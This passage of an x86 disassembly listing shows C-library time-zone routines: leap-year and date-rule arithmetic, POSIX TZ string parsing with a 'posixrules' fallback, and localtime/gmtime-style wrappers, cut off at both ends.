		jnz	short loc_805A810
		mov	eax, [ebp+arg_4]
		mov	edi, 64h
		cdq
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_805A821

loc_805A810:				; CODE XREF: sub_805A7E4+19j
		mov	eax, [ebp+arg_4]
		mov	edi, 190h
		cdq
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_805A828

loc_805A821:				; CODE XREF: sub_805A7E4+2Aj
		mov	[ebp+var_4], 1

loc_805A828:				; CODE XREF: sub_805A7E4+3Bj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		cmp	eax, 1
		jz	short loc_805A88C
		jg	short loc_805A840
		test	eax, eax
		jz	short loc_805A84C
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A840:				; CODE XREF: sub_805A7E4+4Ej
		cmp	eax, 2
		jz	short loc_805A8AC
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A84C:				; CODE XREF: sub_805A7E4+52j
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		dec	edi
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		cmp	[ebp+var_4], 0
		jz	loc_805AAA8
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+4], 3Bh
		jle	loc_805AAA8
		add	esi, 15180h
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A88C:				; CODE XREF: sub_805A7E4+4Cj
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A8AC:				; CODE XREF: sub_805A7E4+5Fj
		mov	esi, ecx
		xor	ebx, ebx
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		dec	edx
		mov	[ebp+var_C], edx
		cmp	ebx, edx
		jge	loc_805A9B3
		mov	edi, [ebp+var_4]
		mov	eax, edi
		add	eax, edi
		add	eax, edi
		mov	ecx, eax
		shl	ecx, 4
		mov	eax, edx
		sub	eax, 0
		and	eax, 3
		jz	short loc_805A944
		cmp	eax, 1
		jle	short loc_805A922
		cmp	eax, 2
		jle	short loc_805A905
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		mov	ebx, 1

loc_805A905:				; CODE XREF: sub_805A7E4+FEj
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx

loc_805A922:				; CODE XREF: sub_805A7E4+F9j
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx
		cmp	[ebp+var_C], ebx
		jle	short loc_805A9B3

loc_805A944:				; CODE XREF: sub_805A7E4+F4j
					; sub_805A7E4+1CDj
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ECC[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ED0[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ED4[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 10h
		add	ebx, 4
		cmp	[ebp+var_C], ebx
		jg	short loc_805A944

loc_805A9B3:				; CODE XREF: sub_805A7E4+D8j
					; sub_805A7E4+15Ej
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		add	edx, 9
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	edi, 0Ch
		cdq
		idiv	edi
		mov	ecx, edx
		inc	ecx
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+0Ch], 2
		jg	short loc_805A9DD
		dec	eax

loc_805A9DD:				; CODE XREF: sub_805A7E4+1F6j
		mov	edi, 64h
		cdq
		idiv	edi
		mov	ebx, edx
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	eax, [edx+eax-2]
		mov	[ebp+var_C], eax
		mov	edi, 0Ah
		cdq
		idiv	edi
		lea	eax, [eax+ebx+1]
		mov	[ebp+var_C], eax
		mov	eax, ebx
		test	eax, eax
		jge	short loc_805AA11
		add	eax, 3

loc_805AA11:				; CODE XREF: sub_805A7E4+228j
		sar	eax, 2
		add	[ebp+var_C], eax
		mov	eax, ecx
		test	ecx, ecx
		jge	short loc_805AA20
		lea	eax, [ecx+3]

loc_805AA20:				; CODE XREF: sub_805A7E4+237j
		sar	eax, 2
		add	[ebp+var_C], eax
		lea	eax, [ecx+ecx]
		sub	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edi, 7
		cdq
		idiv	edi
		mov	[ebp+var_C], edx
		test	edx, edx
		jge	short loc_805AA44
		add	edx, 7
		mov	[ebp+var_C], edx

loc_805AA44:				; CODE XREF: sub_805A7E4+258j
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+4]
		sub	ecx, [ebp+var_C]
		jns	short loc_805AA52
		add	ecx, 7

loc_805AA52:				; CODE XREF: sub_805A7E4+269j
		mov	ebx, 1
		mov	edi, [ebp+arg_8]
		cmp	[edi+8], ebx
		jle	short loc_805AA95
		mov	edx, [ebp+var_4]
		mov	eax, edx
		add	eax, edx
		add	eax, edx
		shl	eax, 4
		mov	edx, [edi+0Ch]
		lea	edi, ds:0[edx*4]
		add	eax, edi
		mov	[ebp+var_C], eax
		lea	esi, [esi]

loc_805AA7C:				; CODE XREF: sub_805A7E4+2AFj
		lea	eax, [ecx+7]
		mov	edi, [ebp+var_C]
		cmp	dword ptr ds:asc_8068EC4[edi], eax ; "/"
		jle	short loc_805AA95
		mov	ecx, eax
		inc	ebx
		mov	edx, [ebp+arg_8]
		cmp	[edx+8], ebx
		jnz	short loc_805AA7C

loc_805AA95:				; CODE XREF: sub_805A7E4+279j
					; sub_805A7E4+2A4j
		lea	eax, [ecx+ecx*4]
		lea	eax, [ecx+eax*4]
		lea	eax, [ecx+eax*8]
		shl	eax, 2
		sub	eax, ecx
		shl	eax, 7
		add	esi, eax

loc_805AAA8:				; CODE XREF: sub_805A7E4+54j
					; sub_805A7E4+61j ...
		mov	eax, esi
		mov	edi, [ebp+arg_8]
		add	eax, [edi+10h]
		add	eax, [ebp+arg_C]
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A7E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805AAC0	proc near		; CODE XREF: sub_805AF2C+21p
					; sub_805AF5C+8Fp

var_64		= byte ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_34], ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_805AAF8
		push	ebx
		call	sub_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_3C], ecx
		add	esp, 4
		cmp	ecx, 2
		jg	short loc_805AB1A

loc_805AAED:				; CODE XREF: sub_805AAC0+5Dj
					; sub_805AAC0+70j ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_805AF20
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AAF8:				; CODE XREF: sub_805AAC0+13j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	[ebp+var_3C], eax
		add	ebx, eax
		cmp	eax, 32h
		jbe	short loc_805AB1A
		mov	[ebp+var_3C], 32h

loc_805AB1A:				; CODE XREF: sub_805AAC0+2Bj
					; sub_805AAC0+51j
		cmp	byte ptr [ebx],	0
		jz	short loc_805AAED
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_805AAED
		mov	edi, [ebp+arg_4]
		push	edi
		push	offset aPosixrules ; "posixrules"
		call	sub_805A254
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_805AB4F
		mov	dword ptr [edi], 0

loc_805AB4F:				; CODE XREF: sub_805AAC0+87j
		cmp	byte ptr [ebx],	0
		jz	loc_805AE88
		mov	[ebp+var_38], ebx
		push	ebx
		call	sub_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_38]
		mov	[ebp+var_40], ecx
		add	esp, 4
		cmp	ecx, 2
		jle	loc_805AAED
		cmp	byte ptr [ebx],	0
		jz	short loc_805ABA0
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_805ABA0
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_805ABA0
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		call	sub_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_805ABAC
		jmp	loc_805AAED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ABA0:				; CODE XREF: sub_805AAC0+BAj
					; sub_805AAC0+BFj ...
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFF1F0h
		mov	[ebp+var_8], edi

loc_805ABAC:				; CODE XREF: sub_805AAC0+D7j
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_805ABBA
		cmp	byte ptr [ebx],	3Bh
		jnz	loc_805AD34

loc_805ABBA:				; CODE XREF: sub_805AAC0+EFj
		inc	ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	sub_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_805AAED
		mov	al, [ebx]
		inc	ebx
		cmp	al, 2Ch
		jnz	loc_805AAED
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_805AAED
		cmp	byte ptr [ebx],	0
		jnz	loc_805AAED
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 2
		mov	dword ptr [ecx+4], 88h
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 1
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	[ecx+754h], edi
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+75Ch], edi
		mov	dword ptr [ecx+760h], 0
		mov	dword ptr [ecx+764h], 0
		mov	esi, [ebp+arg_4]
		add	esi, 10h
		mov	ebx, [ebp+arg_4]
		add	ebx, 5D8h
		mov	[ebp+var_44], 0
		mov	[ebp+var_58], 7B2h
		lea	esi, [esi+0]

loc_805AC6C:				; CODE XREF: sub_805AAC0+267j
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		mov	edi, [ebp+var_44]
		push	edi
		call	sub_805A7E4
		mov	[ebp+var_48], eax
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		push	edi
		call	sub_805A7E4
		add	esp, 20h
		cmp	[ebp+var_48], eax
		jle	short loc_805ACB4
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	edi, [ebp+var_48]
		mov	[esi], edi
		add	esi, 4
		mov	byte ptr [ebx],	0
		jmp	short loc_805ACC8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ACB4:				; CODE XREF: sub_805AAC0+1DCj
		mov	ecx, [ebp+var_48]
		mov	[esi], ecx
		add	esi, 4
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1

loc_805ACC8:				; CODE XREF: sub_805AAC0+1F2j
		inc	ebx
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_58]
		test	edi, 3
		jnz	short loc_805ACE9
		mov	eax, edi
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805ACF8

loc_805ACE9:				; CODE XREF: sub_805AAC0+219j
		mov	eax, [ebp+var_58]
		mov	edi, 190h
		cdq
		idiv	edi
		test	edx, edx
		jnz	short loc_805ACFF

loc_805ACF8:				; CODE XREF: sub_805AAC0+227j
		mov	[ebp+var_54], 1

loc_805ACFF:				; CODE XREF: sub_805AAC0+236j
		mov	ecx, [ebp+var_54]
		mov	edx, ds:dword_8068F28[ecx*4]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	[ebp+var_44], eax
		inc	[ebp+var_58]
		cmp	[ebp+var_58], 7F5h
		jle	loc_805AC6C
		jmp	loc_805AEBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AD34:				; CODE XREF: sub_805AAC0+F4j
		cmp	byte ptr [ebx],	0
		jnz	loc_805AAED
		test	esi, esi
		jnz	loc_805AAED
		mov	[ebp+var_4C], 0
		xor	ebx, ebx
		mov	[ebp+var_58], 0
		xor	esi, esi
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_54]
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	loc_805AE13
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ebp+var_50], edi
		xor	eax, eax
		nop

loc_805AD78:				; CODE XREF: sub_805AAC0+34Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [eax+ecx+750h], 0
		jz	short loc_805ADBC
		mov	edx, esi
		mov	esi, [eax+ecx+74Ch]
		add	esi, [ebp+var_8]
		test	ebx, ebx
		jz	short loc_805AD9D
		cmp	edx, esi
		jnz	loc_805AAED

loc_805AD9D:				; CODE XREF: sub_805AAC0+2D3j
		mov	ecx, [ebp+var_50]
		mov	edi, [ebp+arg_4]
		mov	[eax+edi+74Ch],	ecx
		mov	ecx, [ebp+var_3C]
		inc	ecx
		mov	[eax+edi+754h],	ecx
		mov	ebx, 1
		jmp	short loc_805ADFE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ADBC:				; CODE XREF: sub_805AAC0+2C3j
		mov	edx, [ebp+var_58]
		mov	edi, [ebp+arg_4]
		mov	edi, [eax+edi+74Ch]
		add	edi, [ebp+var_4]
		mov	[ebp+var_58], edi
		cmp	[ebp+var_4C], 0
		jz	short loc_805ADDD
		cmp	edx, edi
		jnz	loc_805AAED

loc_805ADDD:				; CODE XREF: sub_805AAC0+313j
		mov	edi, [ebp+var_4]
		neg	edi
		mov	ecx, [ebp+arg_4]
		mov	[eax+ecx+74Ch],	edi
		mov	dword ptr [eax+ecx+754h], 0
		mov	[ebp+var_4C], 1

loc_805ADFE:				; CODE XREF: sub_805AAC0+2FAj
		add	eax, 10h
		inc	[ebp+var_54]
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+8], ecx
		jg	loc_805AD78

loc_805AE13:				; CODE XREF: sub_805AAC0+2A7j
		test	ebx, ebx
		jz	loc_805AAED
		cmp	[ebp+var_4C], 0
		jz	loc_805AAED
		xor	ebx, ebx
		mov	[ebp+var_54], 0
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+4], ecx
		jle	loc_805AEBF
		lea	esi, [esi+0]

loc_805AE40:				; CODE XREF: sub_805AAC0+3C3j
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+var_54]
		movzx	eax, byte ptr [edi+ecx+5D8h]
		shl	eax, 4
		lea	edx, [ecx+eax+74Ch]
		mov	eax, [ecx+edi*4+10h]
		test	ebx, ebx
		jz	short loc_805AE6C
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_805AE6C
		add	eax, esi
		jmp	short loc_805AE6F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AE6C:				; CODE XREF: sub_805AAC0+39Ej
					; sub_805AAC0+3A4j
		add	eax, [ebp+var_58]

loc_805AE6F:				; CODE XREF: sub_805AAC0+3A8j
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		mov	[edi+ecx*4+10h], eax
		mov	ebx, [edx+4]
		inc	ecx
		mov	[ebp+var_54], ecx
		cmp	[edi+4], ecx
		jg	short loc_805AE40
		jmp	short loc_805AEBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AE88:				; CODE XREF: sub_805AAC0+92j
		mov	[ebp+var_40], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 1
		mov	dword ptr [ecx+4], 0
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 0
		mov	dword ptr [ecx+754h], 0

loc_805AEBF:				; CODE XREF: sub_805AAC0+26Dj
					; sub_805AAC0+377j ...
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], edi
		cmp	[ebp+var_40], 0
		jz	short loc_805AED9
		mov	eax, [ecx+0Ch]
		inc	eax
		add	eax, [ebp+var_40]
		mov	[ecx+0Ch], eax

loc_805AED9:				; CODE XREF: sub_805AAC0+40Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 33h
		ja	loc_805AAED
		mov	ebx, [ebp+arg_4]
		add	ebx, 174Ch
		mov	edi, [ebp+var_3C]
		push	edi
		mov	ecx, [ebp+var_34]
		push	ecx
		push	ebx
		call	strncpy
		add	ebx, edi
		mov	byte ptr [ebx],	0
		inc	ebx
		add	esp, 0Ch
		cmp	[ebp+var_40], 0
		jz	short loc_805AF1E
		mov	edi, [ebp+var_40]
		push	edi
		mov	ecx, [ebp+var_38]
		push	ecx
		push	ebx
		call	strncpy
		mov	byte ptr [edi+ebx], 0

loc_805AF1E:				; CODE XREF: sub_805AAC0+44Aj
		xor	eax, eax

loc_805AF20:				; CODE XREF: sub_805AAC0+32j
		lea	esp, [ebp+var_64]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805AAC0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805AF2C	proc near		; CODE XREF: sub_805AF5C+A0p
					; sub_805B010+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	offset unk_8068EA0
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805AF52
		push	1
		push	ebx
		push	offset unk_8068EA0
		call	sub_805AAC0

loc_805AF52:				; CODE XREF: sub_805AF2C+17j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805AF2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805AF5C	proc near		; CODE XREF: sub_805B048+1Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset aTz	; "TZ"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805AF80
		call	sub_805B010
		jmp	loc_805B009
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AF80:				; CODE XREF: sub_805AF5C+15j
		mov	ds:dword_807E300, 1
		cmp	byte ptr [ebx],	0
		jnz	short loc_805AFCC
		mov	ds:dword_807B0E0, 0
		mov	ds:dword_807B0E4, 0
		mov	ds:dword_807B82C, 0
		mov	ds:dword_807B834, 0
		push	offset unk_8068EA0
		push	offset unk_807C82C
		call	strcpy
		add	esp, 8
		jmp	short loc_805B004
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AFCC:				; CODE XREF: sub_805AF5C+31j
		push	offset dword_807B0E0
		push	ebx
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805B004
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_805AFF7
		push	0
		push	offset dword_807B0E0
		push	ebx
		call	sub_805AAC0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_805B004

loc_805AFF7:				; CODE XREF: sub_805AF5C+85j
		push	offset dword_807B0E0
		call	sub_805AF2C
		add	esp, 4

loc_805B004:				; CODE XREF: sub_805AF5C+6Dj
					; sub_805AF5C+80j ...
		call	sub_805A11C

loc_805B009:				; CODE XREF: sub_805AF5C+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805AF5C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B010	proc near		; CODE XREF: sub_805AF5C+17p
		push	ebp
		mov	ebp, esp
		mov	ds:dword_807E300, 1
		push	offset dword_807B0E0
		push	0
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805B03D
		push	offset dword_807B0E0
		call	sub_805AF2C
		add	esp, 4

loc_805B03D:				; CODE XREF: sub_805B010+1Ej
		call	sub_805A11C
		mov	esp, ebp
		pop	ebp
		retn
sub_805B010	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B048	proc near		; CODE XREF: sub_805B10C+Ep
					; sub_805B128+Ep
					; DATA XREF: ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		cmp	ds:dword_807E300, 0
		jnz	short loc_805B06A
		call	sub_805AF5C

loc_805B06A:				; CODE XREF: sub_805B048+1Bj
		mov	esi, offset dword_807B0E0
		cmp	ds:dword_807B0E4, 0
		jz	short loc_805B083
		mov	eax, [ebp+var_4]
		cmp	ds:dword_807B0F0, eax
		jle	short loc_805B0AC

loc_805B083:				; CODE XREF: sub_805B048+2Ej
		xor	eax, eax
		cmp	dword ptr [esi+750h], 0
		jz	short loc_805B0D0
		xor	edx, edx

loc_805B090:				; CODE XREF: sub_805B048+59j
		add	edx, 10h
		inc	eax
		cmp	[esi+8], eax
		jle	short loc_805B0A8
		cmp	dword ptr [edx+esi+750h], 0
		jnz	short loc_805B090
		jmp	short loc_805B0D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B0A8:				; CODE XREF: sub_805B048+4Fj
		xor	eax, eax
		jmp	short loc_805B0D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B0AC:				; CODE XREF: sub_805B048+39j
		mov	eax, 1
		cmp	[esi+4], eax
		jle	short loc_805B0C8
		mov	edx, [ebp+var_4]
		lea	esi, [esi+0]

loc_805B0BC:				; CODE XREF: sub_805B048+7Ej
		cmp	[esi+eax*4+10h], edx
		jg	short loc_805B0C8
		inc	eax
		cmp	[esi+4], eax
		jg	short loc_805B0BC

loc_805B0C8:				; CODE XREF: sub_805B048+6Cj
					; sub_805B048+78j
		movzx	eax, byte ptr [eax+esi+5D7h]

loc_805B0D0:				; CODE XREF: sub_805B048+44j
					; sub_805B048+5Bj ...
		mov	ebx, eax
		shl	ebx, 4
		lea	ebx, [esi+ebx+74Ch]
		push	edi
		push	esi
		mov	eax, [ebx]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_805B1C4
		mov	edx, [ebx+4]
		mov	[edi+20h], edx
		mov	eax, [ebx+8]
		add	eax, 174Ch
		add	esi, eax
		mov	dword_8078B1C[edx*4], esi
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B048	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B10C	proc near		; CODE XREF: sub_805B548+7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807B06C
		push	0
		push	eax
		call	sub_805B048
		mov	eax, offset unk_807B06C
		mov	esp, ebp
		pop	ebp
		retn
sub_805B10C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B128	proc near		; CODE XREF: .text:0805B572p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	0
		push	eax
		call	sub_805B048
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805B128	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805B144	proc near		; CODE XREF: .text:0805B19Ap
					; .text:0805B1B6p
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		cmp	ds:dword_807E304, 0
		jnz	short loc_805B173
		mov	ds:dword_807E304, 1
		push	offset unk_807C9F0
		call	sub_805AF2C
		add	esp, 4

loc_805B173:				; CODE XREF: sub_805B144+16j
		push	ebx
		push	offset unk_807C9F0
		push	esi
		push	edi
		call	sub_805B1C4
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B144	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	0
		push	eax
		call	sub_805B144
		mov	eax, ebx
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
